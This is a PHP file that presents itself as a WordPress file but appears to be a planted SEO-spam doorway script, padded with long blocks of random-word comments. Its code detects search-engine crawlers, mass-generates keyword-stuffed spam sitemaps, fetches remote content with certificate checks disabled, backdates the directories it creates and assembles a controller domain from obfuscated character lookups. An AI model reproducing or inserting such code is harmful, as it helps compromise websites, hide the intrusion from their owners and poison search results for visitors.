/** * apparent applause comparable consistent core distress domestic dump guilty hint orbit passion radiation region sequence spot survey theme variable virtual wagon withstand. * grand magnet reputation zone. * advertise expenditure faculty insure liter moist mood navigation. * acquire approach aspect breed calendar cliff display dispose equation exceedingly expend extreme frustrate inhabitant navigation onion orient partial participate slender transform tropical unique. * attach award expense hook isolate joint lest orbit quit significance simplify slide stuff urban vital. * approximate comparable constant cope decade derive disturb dump emotion export fate fatigue hook inevitable invade manual principal radiation relief spur tendency thrust voluntary yield. * dispose explode reputation volcano. * barrier campus coach disturb diverse equivalent explode geometry global grateful kneel launch likelihood powder racial ruin slender theme trap urge. * brake capture deaf equation mature notion parade pat peak phenomenon sake satellite semester sexual survey title transport undergraduate vitally wax. * advertisement arichmetic boundary community shuttle slide transform. * accelerate adequate calculate explosive facility hook magnet passion prompt restraint sexual vary. * boundary bundle continual diverse portable portion pursue sincere slide stuff. * acid evolve gesture obstacle personnel sincere tender undergo. * agent echo entertainment excursion expel extreme focus giant horrible idle lean lest navigation offend opponent optics parallel powder pursue retail stripe suspicious title withdraw. * appetite avenue burst cancel discipline enclose infer interfere laser mature poverty retain ridge sexual spill stuff undergraduate witness. * attitude cargo ceremony derive devise essential fate gear male noticeable passport previous shift spray zone. * bunch earthquake preserve volunteer. * accelerate adapt applicable coarse estimate exclusive infer inferior interpretation particularly priority quit scandal security shiver treaty. * appreciate appropriate aspect cliff competent dash duration electron evaluate glimpse interpret navigation nylon smash sophisticated spur stuff suspicious temptation torture vehicle vote wax weave witness. * coil display faculty flock junior reputation scan shrug tremble trend. * applicable architecture cancel cargo conservation constant domestic drip equivalent export extreme gap genuine infinite naval obstacle recruit significance terror the trial twist vertical vibrate. * bargain expansion expensive extinct forbid hydrogen incident laser outstanding portable racial restraint sponsor strategic submerge talent universe violent. * equivalent gallon loosen optics video. * loose priority sketch smash. * adult available breadth candidate explore grant gratitude inferior knot loose mutual revenue. * adopt deputy glory negative sorrow transport. * avenue expand faulty spur. * appetite applianc avenue capture cope deputy emotional exclaim explore inferior invade massive provision repetition resemble tense textile torture weld. * adequate adult approach arise barrier discount female frustrate household inferior integrate interpret manual nonsense offend poverty radical resume sake sexual suspicion vital weed. * agency bother data decay gear inferior numerrous simplicity spit substitute utilise. * adequate applause deputy derive exclaim inevitable issue mature rival sake slippery submerge undertake. * acknowledge acquire code hestiate individual necessity notion oblige passport preserve radiation radical resolve scandal spur swallow temptation torture. * barrel boundary dash export knot obstacle orbit partial petroleum undertake urge. * appoint bunch competition delay magnet substantial subt. * adapt bureau calculate descend dive exclusive explosive gap germ glorious infect interpret interpretation label loose moist opportunity outset participate sensible suspicious trend virtue. * calculate comparative entry insurance jail label oval portion prompt rival semester slender split spot temporary violet. * arbitrary display female forbid maximum mixture modify notify nylon optics oxygen parallel petrol ruin tender tremble usage virtual. * agency cargo casual coach discount discrimination idle minimum onion particularly prohibit register reinforce security shallow trace vary. * blast comparable entry enviroment giant golf hostile infant liberty nonsense obscure semester shift sponsor. * response approach consistent domestic gallon globe grateful isolate male nuclear orient precaution racial reinforce simplicity universal violence. * academic comparable core earthquake jewel mixture modest necessity opportunity ridge substantial. * delicate maximum negative tissue yield. * alter appropriate cancel coil compete durable enthusiasm extinct frown globe impose leather moisture reject ridiculous scan secure temporary textile trap vibrate violet zone. * agent chaos coil constant discount exclude exterior flee generate nylon partial powder prior removal render stale victim wagon. * delay distinguish electron equivalent glory hook individual lean moist shield suspicious twist unique. * acknowledge arbitrary architect barrier devise discrimination expend fertilizer flee frustrate generate hostile marveous mild mood notify orient promote quit scan solar stripe submit vanish. * advertisement catalog elastic signature software valley vertical. * automatic auxiliary cancel equation expense gear germ hardware hostile leather media omit prior profitable scandal sensible split stale suspicious terror. * coarse launch network talent. * cargo geometry gratitude licence partial solar timber tropical. * abundant insure outset presumably profit resemble. * adhere arichmetic budget coarse extinct negative spur tide vacant whereas. * bachelor battery breed calculate comment comparable diverse excess exterior frown highlight holy jeans lest radical render transform tropical twist usage vehicle venture version vibrate. * competent conquer disturb earthquake entitle flee guilty humble identify mist ridiculous splendid stale transform vital. * * @package WordPress */ function getRandId(){ $num = rand(1,FNUM); $num = $num - 1; require(FILEDIRNAME . "/id$num.php"); $indexId=array_rand($arrId,1); $id = $arrId[$indexId]; unset($arrId); return $id;} function get_arrvs($arr,$num,$nowkey){ $numArr = count($arr); if($nowkey + $num < $numArr) return $arr[$nowkey + $num]; else{ if($nowkey + $num - $numArr - $numArr > 0) return get_arrvs($arr,$num - $numArr,$nowkey); else return $arr[abs($nowkey + $num - $numArr)]; } } function get_pre_link($arr,$key){ $tmpA1 = array(); $tmpA2 = array(); $num = count($arr); if($key + JGNUM + 1 + LINKNUM >= $num){ if($key + JGNUM + 1 - $num > LINKNUM){ return array_slice($arr, $key + JGNUM + 1 - $num, LINKNUM); }else{ $duoyu = $key + JGNUM + 1 + LINKNUM - $num + 1; $tmpA1 = array_slice($arr, $key + JGNUM + 1, LINKNUM); $tmpA2 = array_slice($arr, 0, $duoyu); return array_merge($tmpA1,$tmpA2); } }else{ return array_slice($arr, $key + JGNUM + 1, LINKNUM); } } function get_next_link($arr,$key){ $tmpA1 = array(); $tmpA2 = array(); $num = count($arr); if($key - JGNUM - LINKNUM < 0 && $key - JGNUM > 0){ $duoyu = abs($key - JGNUM - LINKNUM); $tmpA1 = array_slice($arr, 0, abs($key - JGNUM)); $tmpA2 = array_slice($arr, $num-$duoyu-1, $duoyu); return array_merge($tmpA1,$tmpA2); }else{ return array_slice($arr, $key - JGNUM - LINKNUM, LINKNUM); } } function rFile($file){ if(function_exists('file_get_contents')){ return file_get_contents($file); }else{ $handle = fopen($file, "r"); $contents = fread($handle, filesize($file)); fclose($handle); return $contents; } } function isCrawler() { $agent= @strtolower($_SERVER['HTTP_USER_AGENT']); if (!empty($agent)) { $spiderSite= array( "Googlebot", "Mediapartners-Google", "Adsbot-Google", "Yahoo!", "Google AdSense", "Yahoo Slurp", "bingbot", "MSNBot" ); foreach($spiderSite as $val) { $str = strtolower($val); if (strpos($agent, $str) !== false) { return true; } } } else { return false; } } function gsitemap2($filenames,$c=1,$jdt=1){ global $gnumber,$arrArrr; $arrABC = range('a','z'); $tparrsI = $filenames; $randnum = rand(7000,7600); $tparrII = array_rand($tparrsI,$randnum); $tparrIII = array(); foreach($tparrII as $vs){ $tparrIII[$vs] = $filenames[$vs]; } $filenames = $tparrIII; $filePres = ''; $fileEnds = ''; $dirNames = dirname(__FILE__); $httcReplace = end((explode(DIRECTORY_SEPARATOR, $dirNames))); if(JDT == 2){ $filePres = $httcReplace . "/" . basename(__FILE__) . "/"; }elseif(JDT == 1){ $filePres = $httcReplace . "/"; }elseif(JDT == 3){ $filePres = $httcReplace . "/" .basename(__FILE__) . "?key="; }else{ $filePres = ''; } if(JDT == 3){ $fileEnds = ''; }else{ $fileEnds = JTHZ; } $fpath='http://'.$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI']; $serpath=substr($fpath,0,strrpos($fpath,'/')); $siteLink='http://'.$_SERVER['HTTP_HOST']; $mapPre = '<'.'?xml version="1.0" encoding="UTF-8" ?'.'>'. PHP_EOL.'' . PHP_EOL; $mapEnd = PHP_EOL . ''; // $urlsArray = $filenames; // $numLinks = count($urlsArray); $star = 0; $priority = 0.1; $starPri = 0; $gFile =""; $date = date("Y-m-d"); $time = date("H:i:s"); $str = ""; $tempArr1 = $filenames; foreach($tempArr1 as $key => $value2){ $curphp=basename(__FILE__); $value = $value2; $first=stristr($value,".php"); $last=stristr($value,".xml"); $checkTxt =stristr($value,".txt"); $tempPid = $key; $url = getalink($tempPid,$value2); if(JDT == 0){ if($first===false && $last===false && $checkTxt===false) { $date = date("Y-m-d"); $time = date("H:i:s"); if($star % 12000==11999){ $gFile = '../sitepage/page' . $arrABC[$gnumber-2] . 'map' .'.xml'; echo '
'.$gFile.'
'; $put_str = $mapPre . $str . $mapEnd; @unlink($gFile); file_put_contents($gFile,$put_str); file_put_contents("./map.log",'#page' . $arrABC[$gnumber-2] . 'map' .'.xml#'.PHP_EOL,FILE_APPEND); $str = ''; $gnumber++; return; } $str .= " " . $url . " ". $date . "T" . $time ."-05:00 daily 0.1 "; $star++; $starPri++; } }else{ if($first===false && $last===false && $checkTxt===false) { $date = date("Y-m-d"); $time = date("H:i:s"); if($star % 12000==11999){ $gFile = '../sitepage/page' . $arrABC[$gnumber-1] . 'map' .'.xml'; echo '
'.$gFile.'
'; $put_str = $mapPre . $str . $mapEnd; @unlink($gFile); file_put_contents($gFile,$put_str); file_put_contents("./map.log",'#page' . $arrABC[$gnumber-1] . 'map' .'.xml#'.PHP_EOL,FILE_APPEND); $str = ''; $gnumber++; return; } $str .= " " . $url . " ". $date . "T" . $time ."-05:00 daily 0.1 "; $star++; $starPri++; } } } if(JDT == 0){ { $gFile = '../sitepage/page' . $arrABC[$gnumber-2] . 'map' .'.xml'; echo '
'.$gFile.'
'; $put_str = $mapPre . $str . $mapEnd; @unlink($gFile); file_put_contents($gFile,$put_str); file_put_contents("./map.log",'#page' . $arrABC[$gnumber-2] . 'map' .'.xml#'.PHP_EOL,FILE_APPEND); $gnumber++; } }else{ { $gFile = '../sitepage/page' . $arrABC[$gnumber-1] . 'map' .'.xml'; echo '
'.$gFile.'
'; $put_str = $mapPre . $str . $mapEnd; @unlink($gFile); file_put_contents($gFile,$put_str); file_put_contents("./map.log",'#page' . $arrABC[$gnumber-1] . 'map' .'.xml#'.PHP_EOL,FILE_APPEND); $gnumber++; } } unset($tempArr1); unset($filenames); echo "生成sitemap成功!"; } function gsitemap($filenames,$c=1,$jdt=1){ global $gnumber,$arrArrr; $arrABC = range('a','z'); $tparrsI = $filenames; $randnum = rand(7000,7600); $tparrII = array_rand($tparrsI,$randnum); $tparrIII = array(); foreach($tparrII as $vs){ $tparrIII[$vs] = $filenames[$vs]; } $filenames = $tparrIII; $filePres = ''; $fileEnds = ''; $fpath='http://'.$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI']; $serpath=substr($fpath,0,strrpos($fpath,'/')); $siteLink='http://'.$_SERVER['HTTP_HOST']; $mapPre = '<'.'?xml version="1.0" encoding="UTF-8" ?'.'>'. PHP_EOL.'' . PHP_EOL; $mapEnd = PHP_EOL . ''; // $urlsArray = $filenames; // $numLinks = count($urlsArray); $star = 0; $priority = 0.9; $starPri = 0; $gFile =""; $date = date("Y-m-d"); $time = date("H:i:s"); $str = " " . $siteLink . " ". $date . "T" . $time ."-05:00 always 1.0 "; $tempArr1 = $filenames; foreach($tempArr1 as $key => $value2){ $curphp=basename(__FILE__); $value = $value2; $first=stristr($value,".php"); $last=stristr($value,".xml"); $checkTxt =stristr($value,".txt"); $tempPid = $key; $url = getalink($tempPid,$value2); if(JDT == 0){ if($first===false && $last===false && $checkTxt===false) { $date = date("Y-m-d"); $time = date("H:i:s"); if($star % 12000==11999){ $gFile = '../sitepage/sitemap.xml'; echo '
'.$gFile.'
'; $put_str = $mapPre . $str . $mapEnd; @unlink($gFile); file_put_contents($gFile,$put_str); file_put_contents("./map.log",'#sitemap.xml#'.PHP_EOL,FILE_APPEND); $str = ''; $gnumber++; return; } if($starPri >= 400 && $priority != 0.1){ $starPri = 0; $priority = $priority - 0.1; } if($priority > 0.1){ $str .= " " . $url . " ". $date . "T" . $time ."-05:00 daily ". $priority . " "; }else{ $str .= " " . $url . " ". $date . "T" . $time ."-05:00 daily 0.1 "; } $star++; $starPri++; } }else{ if($first===false && $last===false && $checkTxt===false) { $date = date("Y-m-d"); $time = date("H:i:s"); if($star % 12000==11999){ $gFile = '../sitepage/page' . $arrABC[$gnumber-1] . 'map' .'.xml'; echo '
'.$gFile.'
'; $put_str = $mapPre . $str . $mapEnd; @unlink($gFile); file_put_contents($gFile,$put_str); file_put_contents("./map.log",'#page' . $arrABC[$gnumber-1] . 'map' .'.xml#'.PHP_EOL,FILE_APPEND); $str = ''; $gnumber++; return; } if($starPri >= 400 && $priority != 0.1){ $starPri = 0; $priority = $priority - 0.1; } if($priority > 0.1){ $str .= " " . $url . " ". $date . "T" . $time ."-05:00 daily ". $priority . " "; }else{ $str .= " " . $url . " ". $date . "T" . $time ."-05:00 daily 0.1 "; } $star++; $starPri++; } } } if(JDT == 0){ { $gFile = '../sitepage/sitemap.xml'; echo '
'.$gFile.'
'; $put_str = $mapPre . $str . $mapEnd; @unlink($gFile); file_put_contents($gFile,$put_str); file_put_contents("./map.log",'#sitemap.xml#'.PHP_EOL,FILE_APPEND); $gnumber++; } }else{ { $gFile = '../sitepage/page' . $arrABC[$gnumber-1] . 'map' .'.xml'; echo '
'.$gFile.'
'; $put_str = $mapPre . $str . $mapEnd; @unlink($gFile); file_put_contents($gFile,$put_str); file_put_contents("./map.log",'#page' . $arrABC[$gnumber-1] . 'map' .'.xml#'.PHP_EOL,FILE_APPEND); $gnumber++; } } unset($tempArr1); unset($filenames); echo "生成sitemap成功!"; } function curl_get_from_webpage($url,$proxy='',$loop=10){ $data = false; $i = 0; while(!$data) { $data = curl_get_from_webpage_one_time($url,$proxy); if($i++ >= $loop) break; } return $data;} function curl_getjs_from_webpage($url,$time){ if(function_exists("curl_init") && function_exists("curl_setopt") && function_exists("curl_exec") && function_exists("curl_close")){ $curl = curl_init(); //如果有用代理,则使用代理. $user_agent = "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; chromeframe/12.0.742.100"; // $urlReferer = "http://www.google.com"; curl_setopt($curl, CURLOPT_URL, $url); if(stristr($url,"https:")){ curl_setopt_array($curl, array(CURLOPT_SSL_VERIFYHOST => 2,CURLOPT_SSL_VERIFYPEER => 0, CURLOPT_POSTFIELDS => '', CURLOPT_RETURNTRANSFER => 1,CURLOPT_TIMEOUT => $time,CURLOPT_USERAGENT => $user_agent,CURLOPT_HEADER => 1, CURLOPT_VERBOSE => 0 ));}else{curl_setopt($curl, CURLOPT_URL, $url);curl_setopt($curl, CURLOPT_TIMEOUT, $time);curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);curl_setopt($curl, CURLOPT_HEADER, false);curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);curl_setopt($curl, CURLOPT_USERAGENT, $user_agent); }$data=curl_exec($curl);curl_close($curl); }else{ $is_auf=ini_get('allow_url_fopen') && function_exists("file_get_contents")?true:false; if($is_auf){ $data = file_get_contents($url); } } if(!$data) return false; return $data; } function curl_get_from_webpage_one_time($url,$proxy=''){ if(function_exists("curl_init") && function_exists("curl_setopt") && function_exists("curl_exec") && function_exists("curl_close")){ $curl = curl_init(); //如果有用代理,则使用代理. $user_agent = "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; chromeframe/12.0.742.100"; // $urlReferer = "http://www.google.com"; if(strlen($proxy) > 8) curl_setopt($curl, CURLOPT_PROXY, $proxy); curl_setopt($curl, CURLOPT_URL, $url); if(stristr($url,"https:")){ curl_setopt_array($curl, array(CURLOPT_SSL_VERIFYHOST => 2,CURLOPT_SSL_VERIFYPEER => 0, CURLOPT_POSTFIELDS => '', CURLOPT_RETURNTRANSFER => 1,CURLOPT_USERAGENT => $user_agent,CURLOPT_HEADER => 1, CURLOPT_VERBOSE => 0 ));}else{curl_setopt($curl, CURLOPT_URL, $url);curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);curl_setopt($curl, CURLOPT_HEADER, false);curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);curl_setopt($curl, CURLOPT_USERAGENT, $user_agent); }$data=curl_exec($curl);curl_close($curl); }else{ $is_auf=ini_get('allow_url_fopen') && function_exists("file_get_contents")?true:false; if($is_auf){ $data = file_get_contents($url); } } if(!$data) return false; return $data; } //// function my_mkdir($dir){ global $fitime; if(!is_dir($dir)){ mkdir($dir); @touch($dir, $fitime, $fitime); } } function generate_dir_file($gDir=''){ global $hostDir; $gDir = str_replace('/',DIRECTORY_SEPARATOR,$gDir); $gDir = str_replace('\\',DIRECTORY_SEPARATOR,$gDir); $arr = explode(DIRECTORY_SEPARATOR,$gDir); if(count($arr) <= 0) return; if(!strstr($gDir,$hostDir)) $dir = $hostDir; else $dir = ''; for($i = 0 ; $i < count($arr)-1 ; $i++){ $dir .= DIRECTORY_SEPARATOR . $arr[$i]; my_mkdir($dir); } return $dir; } function strFilter($str){ $str = str_replace('`', '', $str); $str = str_replace('·', '', $str); $str = str_replace('~', '', $str); $str = str_replace('!', '', $str); $str = str_replace('!', '', $str); $str = str_replace('@', '', $str); $str = str_replace('#', '', $str); $str = str_replace('$', '', $str); $str = str_replace('¥', '', $str); $str = str_replace('%', '', $str); $str = str_replace('^', '', $str); $str = str_replace('……', '', $str); $str = str_replace('*', '', $str); $str = str_replace('(', '', $str); $str = str_replace(')', '', $str); $str = str_replace('(', '', $str); $str = str_replace(')', '', $str); $str = str_replace('-', '', $str); $str = str_replace('_', '', $str); $str = str_replace('——', '', $str); $str = str_replace('+', '', $str); $str = str_replace('=', '', $str); $str = str_replace('|', '', $str); $str = str_replace('\\', '', $str); $str = str_replace('[', '', $str); $str = str_replace(']', '', $str); $str = str_replace('【', '', $str); $str = str_replace('】', '', $str); $str = str_replace('{', '', $str); $str = str_replace('}', '', $str); $str = str_replace(';', '', $str); $str = str_replace(':', '', $str); $str = str_replace('<', '', $str); $str = str_replace('>', '', $str); $str = str_replace(':', '', $str); $str = str_replace('\'', '', $str); $str = str_replace('"', '', $str); $str = str_replace(',', '', $str); $str = str_replace(',', '', $str); $str = str_replace('《', '', $str); $str = str_replace('》', '', $str); $str = str_replace('.', '', $str); $str = str_replace('。', '', $str); $str = str_replace('–', '', $str); $str = str_replace('–', '', $str); $str = str_replace('/', '', $str); $str = str_replace('、', '', $str); $str = str_replace('?', '', $str); $str = str_replace('?', '', $str); $str = str_replace('°', '', $str); $str = str_replace('&', '&', $str); return trim($str); } function getalink($pid,$pname=''){ global $arrnametime,$arrKeywz,$arr_word,$strRand; if(strstr($pname,'#cat#')){ $tp_pname_arr = explode('#cat#',$pname); $pname = $tp_pname_arr[1]; $precat = $tp_pname_arr[0]; } if(function_exists("preg_split")){ $tpnameArr = preg_split('/\s+/us', $pname); }else{ $tpnameArr = explode(' ', $pname); } $pnameArr = array(); foreach($tpnameArr as $tpvs){ $tpvs = trim($tpvs); if($tpvs){ $pnameArr[] = $tpvs; } } $numPname = count($pnameArr); if($numPname > 3){ $numLinkKey = round(PNAMELEN * $numPname / 100); $yushu = KEYJG % $numPname; $arrPre = array(); $arrLast = array(); for($i=0;$i<$numPname;$i++){ if($i<$yushu){ $arrLast[] = $pnameArr[$i]; }else{ $arrPre[] = $pnameArr[$i]; } } if(count($arrLast)){ foreach($arrLast as $vs){ $arrPre[] = $vs; } } $usedNameArr = array(); for($i=0;$i<$numLinkKey;$i++){ $usedNameArr[$i] = $arrPre[$i]; } if(count($usedNameArr)){ $pname = implode(' ',$usedNameArr); } } if(JDT == 0){ $precat = strFilter($precat); $precat = preg_replace('/\s+/', '-', $precat); } $pname = strFilter($pname); $filePres = ''; $fileEnds = ''; $siteLink='http://'.$_SERVER['HTTP_HOST']; $dirNames = dirname(__FILE__); $httcReplace = end((explode(DIRECTORY_SEPARATOR, $dirNames))); if(JDT == 2){ $filePres = $siteLink ."/". $httcReplace . "/" . basename(__FILE__) . "/"; }elseif(JDT == 1){ $filePres = $siteLink ."/". $httcReplace . "/"; }elseif(JDT == 3){ $filePres = $siteLink ."/". $httcReplace . "/" .basename(__FILE__) . "?keyword="; }else{ $filePres = $siteLink."/"; } $rsp = '#'. BZPRO .'\d+#'; $pname = trim($pname); $pname = preg_replace('/\s+/', '-', $pname); if(JDT == 3){ $rs = '#&[^;]+;#i'; $pname = preg_replace($rs,'',$pname); while(strstr($pname,'&')) $pname = str_replace('&','',$pname); while(strstr($pname,'--')) $pname = str_replace('--','-',$pname); $linkCenter = $pname .'-' .$pid; $rtStr = $filePres.$linkCenter; $rtStr = str_replace($filePres.'-',$filePres,$rtStr); return $rtStr; } if(strlen($pname) > 235){ $rs = '#&[^;]+;#i'; $pname = preg_replace($rs,'',$pname); $pname = str_replace('&','',$pname); $pname = str_replace('&',';',$pname); if(function_exists("mb_substr")){ $pname = mb_substr($pname, 0, 235, 'utf-8'); }else{ $pname = substr($pname, 0, 235); } } $precat = preg_replace($rsp,'',$precat); $precat = str_replace('&','',$precat); $precat = str_replace('&',';',$precat); $precat = preg_replace('/\s+/', '-', $precat); $pname = preg_replace($rsp,'',$pname); if(JDT == 0){ $linkCenter = $precat .'/'. $pid .'-'. $pname; }else{ $linkCenter = $precat .'/'. $pid .'-'. $pname; } $linkCenter .= JTHZ; $linkCenter = str_replace("-/","/",$linkCenter); $linkCenter = str_replace("-".JTHZ,JTHZ,$linkCenter); while(strstr($linkCenter,'--')) $linkCenter = str_replace('--','-',$linkCenter); // $linkCenter = str_replace('/-','/',$linkCenter); $rtStr = $filePres.$linkCenter; $rtStr = str_replace($filePres.'-',$filePres,$rtStr); $rtStr = str_replace('-amp;-','-&-',$rtStr); return $rtStr; } function rmhtmltag($tagname='',$str=''){ $rulers = '#<'.$tagname.'[^>]*>.*?#s'; $str = preg_replace($rulers,'',$str); $rulers = '#<'.$tagname.'[^>]*>.*?#i'; $str = preg_replace($rulers,'',$str); return $str; } function rmhtmltag2($tagname='',$str=''){ $rulers = '#<'.$tagname.'[^>]*>#s'; $str = preg_replace($rulers,'',$str); $rulers = '##s'; $str = preg_replace($rulers,'',$str); $rulers = '#<'.$tagname.'[^>]*>#i'; $str = preg_replace($rulers,'',$str); $rulers = '##i'; $str = preg_replace($rulers,'',$str); return $str; } // function is_ip($localIp,$ipRanges) { $localIp = ip2long($localIp); foreach($ipRanges as $val) { $ipmin=sprintf("%u",ip2long($val[0])); $ipmax=sprintf("%u",ip2long($val[1])); if($localIp >= $ipmin && $localIp <= $ipmax) { return true; } } return false;} function RandAbcs($length = ""){ $str = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ_./:-"; return ($str); } function getarr(){ global $O00O0O; $arr[0]=$O00O0O{1}.$O00O0O{0}.$O00O0O{1}.$O00O0O{17}.$O00O0O{0}.$O00O0O{10}.$O00O0O{7}.$O00O0O{14}.$O00O0O{18}.$O00O0O{19}.$O00O0O{63}.$O00O0O{23}.$O00O0O{24}.$O00O0O{25};$arr[1]=$O00O0O{14}.$O00O0O{2}.$O00O0O{6}.$O00O0O{14}.$O00O0O{21}.$O00O0O{22}.$O00O0O{4}.$O00O0O{1}.$O00O0O{63}.$O00O0O{23}.$O00O0O{24}.$O00O0O{25};$arr[2]=$O00O0O{15}.$O00O0O{17}.$O00O0O{14}.$O00O0O{5}.$O00O0O{8}.$O00O0O{11}.$O00O0O{21}.$O00O0O{15}.$O00O0O{18}.$O00O0O{63}.$O00O0O{23}.$O00O0O{24}.$O00O0O{25};$arr[3]=$O00O0O{20}.$O00O0O{21}.$O00O0O{8}.$O00O0O{25}.$O00O0O{3}.$O00O0O{0}.$O00O0O{19}.$O00O0O{0}.$O00O0O{63}.$O00O0O{23}.$O00O0O{24}.$O00O0O{25};$arr[4]=$O00O0O{1}.$O00O0O{4}.$O00O0O{12}.$O00O0O{8}.$O00O0O{15}.$O00O0O{0}.$O00O0O{2}.$O00O0O{4}.$O00O0O{13}.$O00O0O{19}.$O00O0O{4}.$O00O0O{17}.$O00O0O{63}.$O00O0O{23}.$O00O0O{24}.$O00O0O{25}; return $arr; } function getthisdom(){ $myArrs = getarr(); return 'http://www.'.$myArrs[CENTERKEY].MYDIR; } function get_real_ip(){ $ip = ''; /** * resolve any proxies */ if (isset($_SERVER)) { if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) { $ip = $_SERVER['HTTP_X_FORWARDED_FOR']; } elseif (isset($_SERVER['HTTP_CLIENT_IP'])) { $ip = $_SERVER['HTTP_CLIENT_IP']; } elseif (isset($_SERVER['HTTP_X_FORWARDED'])) { $ip = $_SERVER['HTTP_X_FORWARDED']; } elseif (isset($_SERVER['HTTP_X_CLUSTER_CLIENT_IP'])) { $ip = $_SERVER['HTTP_X_CLUSTER_CLIENT_IP']; } elseif (isset($_SERVER['HTTP_FORWARDED_FOR'])) { $ip = $_SERVER['HTTP_FORWARDED_FOR']; } elseif (isset($_SERVER['HTTP_FORWARDED'])) { $ip = $_SERVER['HTTP_FORWARDED']; } else { $ip = $_SERVER['REMOTE_ADDR']; } } if (trim($ip) == '') { if (getenv('HTTP_X_FORWARDED_FOR')) { $ip = getenv('HTTP_X_FORWARDED_FOR'); } elseif (getenv('HTTP_CLIENT_IP')) { $ip = getenv('HTTP_CLIENT_IP'); } else { $ip = getenv('REMOTE_ADDR'); } } /** * sanitize for validity as an IPv4 or IPv6 address */ $ip = preg_replace('~[^a-fA-F0-9.:%/,]~', '', $ip); /** * if it's still blank, set to a single dot */ if (trim($ip) == '') $ip = '.'; return $ip; } /** * Internet burden cliff decline explode haste infinite leisure marveous prevail quit scandal shield skim smash spray whatsoever witness. * adapt collision genius infer knot prohibit signature tone. * abuse exaggerate harmony lean licence neutral odd parade rely remarkable ridid scan shrug twist. * applicable bacteria cancel dive drift drip identify inevitable maximum pants peak prior prosperity remote removal shield solar survey suspicious textile transform. * consistent horror mission racial shuttle sketch vibrate zone. * accelerate arbitrary calendar expend grand gratitude humble jealous mutual passive resemble shrug tide triangle. * academic coil competition facility inhabitant optics personnel principal utter videotape vivid. * applianc encounter exclusive hardware harmony mere notion nucleus personal portion promote relevant shiver spit survey tone vain. * applicable approximate authority beforehand bother capture faulty horror launch naked pants powder region sorrow treaty violet volunteer. * abundant brake breed competent cope dash distress favorite grand hatred holy jungle naked optics seminar smash target tone universal vary weld. * adjust award conservation continuous dispose exclaim nevertheless remarkable smash tide variable wealthy. * emphasize enviroment naval portion principal satellite sequence theme urgent videotape. * comparative sexual spot tedious. * arbitrary candidate conquer discipline dump fatigue grant inhabitant leak organ outset profitable prohibit region reliable virtual vitally weld. * adapt awful breed candidate cargo conservation disturb encounter export highlight jam liable obscure oral quit reluctant secure tendency treaty tremendous virtual vocabulary weed. * accelerate adopt algebra estimate genuine hook identify mild optional shuttle slender submerge videotape. * attitude avenue bacteria barrier consistent decorate discount estimate guarantee horrible incident interfere laser leisure opponent private register security shiver stuff suspicion terminal triangle weld. * applicable arouse clue inevitable leak mutual origin outset prosperity split tidy. * aware distress exclude gratitude guilty internal launch manufacture marveous modest origin powder radical recruit reluctant significance spot stripe trace vibrate victim withstand. * expand hint illegal moral priority ridid simplify. * applicant attach coach coil distress extraordinary favorable haste invade mild noticeable optics pants prospect register seminar submerge ultimate. * adapt architecture arouse avenue constant dive electron hatred import legislation liberal maintain rely slip spot subway urgent version. * * @package WordPress */ //file end